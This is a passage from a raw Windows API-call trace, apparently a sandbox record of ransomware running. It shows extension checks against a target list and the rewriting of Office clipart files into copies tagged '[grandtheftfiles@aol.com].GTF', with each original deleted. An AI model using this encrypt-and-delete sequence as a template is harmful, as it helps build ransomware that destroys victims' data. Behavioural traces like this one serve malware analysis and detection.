	[0080.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.564] lstrlenW (lpString=".dbf") returned 4
	[0080.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.564] lstrlenW (lpString=".1cd") returned 4
	[0080.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.564] lstrlenW (lpString=".jpg") returned 4
	[0080.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.564] lstrlenW (lpString=".doc") returned 4
	[0080.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.564] lstrlenW (lpString=".docx") returned 5
	[0080.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.564] lstrlenW (lpString=".pdf") returned 4
	[0080.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.565] lstrlenW (lpString=".xls") returned 4
	[0080.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.565] lstrlenW (lpString=".xlsx") returned 5
	[0080.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.565] lstrlenW (lpString=".ppt") returned 4
	[0080.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.565] lstrlenW (lpString=".zip") returned 4
	[0080.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.565] lstrlenW (lpString=".rar") returned 4
	[0080.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.565] lstrlenW (lpString=".bz2") returned 4
	[0080.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.565] lstrlenW (lpString=".7z") returned 3
	[0080.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.565] lstrlenW (lpString=".dbf") returned 4
	[0080.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.565] lstrlenW (lpString=".1cd") returned 4
	[0080.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0080.565] lstrlenW (lpString=".jpg") returned 4
	[0080.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.565] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.565] lstrlenW (lpString="AN00965_.WMF") returned 12
	[0080.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.566] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=7072) returned 1
	[0080.566] CloseHandle (hObject=0x384) returned 1
	[0080.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220
	[0080.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.566] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.566] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.566] GetLastError () returned 0x0
	[0080.566] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1ba0, lpOverlapped=0x0) returned 1
	[0080.568] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0080.569] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.569] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.569] SetEndOfFile (hFile=0x370) returned 1
	[0080.569] CloseHandle (hObject=0x370) returned 1
	[0080.570] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.570] SetEndOfFile (hFile=0x384) returned 1
	[0080.571] CloseHandle (hObject=0x384) returned 1
	[0080.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1
	[0080.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.572] lstrlenW (lpString=".doc") returned 4
	[0080.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.572] lstrlenW (lpString=".docx") returned 5
	[0080.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.572] lstrlenW (lpString=".pdf") returned 4
	[0080.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.572] lstrlenW (lpString=".xls") returned 4
	[0080.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.572] lstrlenW (lpString=".xlsx") returned 5
	[0080.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.572] lstrlenW (lpString=".ppt") returned 4
	[0080.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.572] lstrlenW (lpString=".zip") returned 4
	[0080.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.572] lstrlenW (lpString=".rar") returned 4
	[0080.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.572] lstrlenW (lpString=".bz2") returned 4
	[0080.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.572] lstrlenW (lpString=".7z") returned 3
	[0080.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.572] lstrlenW (lpString=".dbf") returned 4
	[0080.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.572] lstrlenW (lpString=".1cd") returned 4
	[0080.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.573] lstrlenW (lpString=".jpg") returned 4
	[0080.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.573] lstrlenW (lpString=".doc") returned 4
	[0080.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString=".docx") returned 5
	[0080.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.573] lstrlenW (lpString=".pdf") returned 4
	[0080.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString=".xls") returned 4
	[0080.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.573] lstrlenW (lpString=".xlsx") returned 5
	[0080.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.573] lstrlenW (lpString=".ppt") returned 4
	[0080.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.573] lstrlenW (lpString=".zip") returned 4
	[0080.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.573] lstrlenW (lpString=".rar") returned 4
	[0080.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString=".bz2") returned 4
	[0080.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString=".7z") returned 3
	[0080.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.573] lstrlenW (lpString=".dbf") returned 4
	[0080.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.573] lstrlenW (lpString=".1cd") returned 4
	[0080.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0080.573] lstrlenW (lpString=".jpg") returned 4
	[0080.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.574] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.574] lstrlenW (lpString="AN01039_.WMF") returned 12
	[0080.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.574] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3344) returned 1
	[0080.574] CloseHandle (hObject=0x384) returned 1
	[0080.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220
	[0080.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.574] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.574] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.575] GetLastError () returned 0x0
	[0080.575] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xd10, lpOverlapped=0x0) returned 1
	[0080.914] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0080.968] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.968] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.968] SetEndOfFile (hFile=0x370) returned 1
	[0081.153] CloseHandle (hObject=0x370) returned 1
	[0081.154] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.154] SetEndOfFile (hFile=0x384) returned 1
	[0081.155] CloseHandle (hObject=0x384) returned 1
	[0081.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1
	[0081.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.156] lstrlenW (lpString=".doc") returned 4
	[0081.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.156] lstrlenW (lpString=".docx") returned 5
	[0081.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.156] lstrlenW (lpString=".pdf") returned 4
	[0081.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.156] lstrlenW (lpString=".xls") returned 4
	[0081.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.156] lstrlenW (lpString=".xlsx") returned 5
	[0081.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.156] lstrlenW (lpString=".ppt") returned 4
	[0081.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.156] lstrlenW (lpString=".zip") returned 4
	[0081.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.156] lstrlenW (lpString=".rar") returned 4
	[0081.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.156] lstrlenW (lpString=".bz2") returned 4
	[0081.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString=".7z") returned 3
	[0081.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.157] lstrlenW (lpString=".dbf") returned 4
	[0081.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.157] lstrlenW (lpString=".1cd") returned 4
	[0081.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.157] lstrlenW (lpString=".jpg") returned 4
	[0081.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.157] lstrlenW (lpString=".doc") returned 4
	[0081.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString=".docx") returned 5
	[0081.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.157] lstrlenW (lpString=".pdf") returned 4
	[0081.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString=".xls") returned 4
	[0081.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.157] lstrlenW (lpString=".xlsx") returned 5
	[0081.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.157] lstrlenW (lpString=".ppt") returned 4
	[0081.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.157] lstrlenW (lpString=".zip") returned 4
	[0081.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.157] lstrlenW (lpString=".rar") returned 4
	[0081.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString=".bz2") returned 4
	[0081.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.157] lstrlenW (lpString=".7z") returned 3
	[0081.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.157] lstrlenW (lpString=".dbf") returned 4
	[0081.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.158] lstrlenW (lpString=".1cd") returned 4
	[0081.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0081.158] lstrlenW (lpString=".jpg") returned 4
	[0081.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.158] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.158] lstrlenW (lpString="AN04134_.WMF") returned 12
	[0081.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.158] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3416) returned 1
	[0081.158] CloseHandle (hObject=0x384) returned 1
	[0081.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220
	[0081.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.159] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.159] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.159] GetLastError () returned 0x0
	[0081.159] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xd58, lpOverlapped=0x0) returned 1
	[0081.164] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0081.165] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.165] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.165] SetEndOfFile (hFile=0x370) returned 1
	[0081.165] CloseHandle (hObject=0x370) returned 1
	[0081.166] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.166] SetEndOfFile (hFile=0x384) returned 1
	[0081.167] CloseHandle (hObject=0x384) returned 1
	[0081.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1
	[0081.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.168] lstrlenW (lpString=".doc") returned 4
	[0081.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.168] lstrlenW (lpString=".docx") returned 5
	[0081.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.168] lstrlenW (lpString=".pdf") returned 4
	[0081.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.168] lstrlenW (lpString=".xls") returned 4
	[0081.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.168] lstrlenW (lpString=".xlsx") returned 5
	[0081.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.168] lstrlenW (lpString=".ppt") returned 4
	[0081.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.168] lstrlenW (lpString=".zip") returned 4
	[0081.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.168] lstrlenW (lpString=".rar") returned 4
	[0081.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.168] lstrlenW (lpString=".bz2") returned 4
	[0081.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.168] lstrlenW (lpString=".7z") returned 3
